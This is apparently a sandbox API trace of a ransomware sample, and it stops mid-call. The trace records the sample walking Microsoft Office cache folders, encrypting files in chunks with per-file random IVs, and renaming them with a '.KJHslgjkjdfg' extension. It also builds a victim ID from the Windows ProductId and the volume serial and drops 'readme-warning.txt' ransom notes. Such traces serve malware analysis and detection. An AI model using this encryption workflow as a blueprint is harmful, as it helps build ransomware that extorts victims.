[0153.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0153.285] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0153.285] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0153.285] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.286] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x543, lpOverlapped=0x0) returned 1 [0153.286] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x550) returned 1 [0153.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.286] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x550, lpOverlapped=0x0) returned 1 [0153.286] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.286] SetEndOfFile (hFile=0xf0) returned 1 [0153.287] GetProcessHeap () returned 0x990000 [0153.287] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0153.287] GetProcessHeap () returned 0x990000 [0153.287] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.287] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.kjhslgjkjdfg")) returned 1 [0153.400] CloseHandle (hObject=0xf0) returned 1 [0153.400] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0153.400] GetProcessHeap () returned 0x990000 [0153.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0153.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0153.400] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0153.400] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.400] GetProcessHeap () returned 0x990000 [0153.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0153.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0153.400] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0153.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.401] GetProcessHeap () returned 0x990000 [0153.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0153.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0153.401] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29df0a8 | out: pbData=0x9b78c0, pdwDataLen=0x29df0a8) returned 1 [0153.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.401] GetProcessHeap () returned 0x990000 [0153.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0153.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0153.401] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0153.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.401] GetProcessHeap () returned 0x990000 [0153.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0153.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0153.401] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dec88 | out: pbData=0x9b1918, pdwDataLen=0x29dec88) returned 1 [0153.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.401] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0153.402] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0153.402] RegCloseKey (hKey=0xf0) returned 0x0 [0153.402] GetProcessHeap () returned 0x990000 [0153.402] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0153.402] GetProcessHeap () returned 0x990000 [0153.402] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0153.402] GetProcessHeap () returned 0x990000 [0153.402] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0153.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0153.402] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dea5c | out: pbData=0x9b1918, pdwDataLen=0x29dea5c) returned 1 [0153.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.402] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0153.402] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.403] GetProcessHeap () returned 0x990000 [0153.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0153.403] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0153.403] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0153.403] GetProcessHeap () returned 0x990000 [0153.403] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0153.403] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\readme-warning.txt") returned 90 [0153.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.404] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0153.405] CloseHandle (hObject=0xf0) returned 1 [0153.406] GetProcessHeap () returned 0x990000 [0153.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0153.406] GetProcessHeap () returned 0x990000 [0153.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0153.406] GetProcessHeap () returned 0x990000 [0153.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0153.406] GetProcessHeap () returned 0x990000 [0153.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0153.406] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0153.406] GetProcessHeap () returned 0x990000 [0153.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0153.406] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0153.406] GetProcessHeap () returned 0x990000 [0153.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b2468 [0153.406] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0153.407] GetProcessHeap () returned 0x990000 [0153.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0153.407] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.407] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0153.407] GetProcessHeap () returned 0x990000 [0153.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9dc8a8 [0153.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.408] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x29df280 | out: lpFileSize=0x29df280*=13642474) returned 1 [0153.408] GetProcessHeap () returned 0x990000 [0153.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0153.408] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0153.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.408] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df26c*=0x6, lpOverlapped=0x0) returned 1 [0153.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0153.410] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.410] GetProcessHeap () returned 0x990000 [0153.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0153.410] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30) returned 1 [0153.410] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.410] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df26c*=0x30, lpOverlapped=0x0) returned 1 [0153.410] WriteFile (in: hFile=0xf0, lpBuffer=0x29df274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df274*, lpNumberOfBytesWritten=0x29df26c*=0x4, lpOverlapped=0x0) returned 1 [0153.411] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df26c*=0x10, lpOverlapped=0x0) returned 1 [0153.411] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df26c*=0x80, lpOverlapped=0x0) returned 1 [0153.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0153.411] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df26c*=0x8, lpOverlapped=0x0) returned 1 [0153.411] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0153.411] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0153.411] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0153.420] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0153.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.425] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0153.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.426] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0153.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0153.426] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0153.433] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0153.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.436] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0153.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.437] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0153.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0153.437] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0153.442] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0153.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.446] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0153.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.447] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0153.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.447] SetEndOfFile (hFile=0xf0) returned 1 [0153.447] GetProcessHeap () returned 0x990000 [0153.447] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0153.447] GetProcessHeap () returned 0x990000 [0153.448] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.448] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.kjhslgjkjdfg")) returned 1 [0154.116] CloseHandle (hObject=0xf0) returned 1 [0154.116] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0154.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.117] GetProcessHeap () returned 0x990000 [0154.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.117] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0154.117] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.117] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.117] GetProcessHeap () returned 0x990000 [0154.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0154.117] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0154.117] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.117] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0154.120] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0154.120] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0154.120] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0154.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0154.120] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0154.120] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, 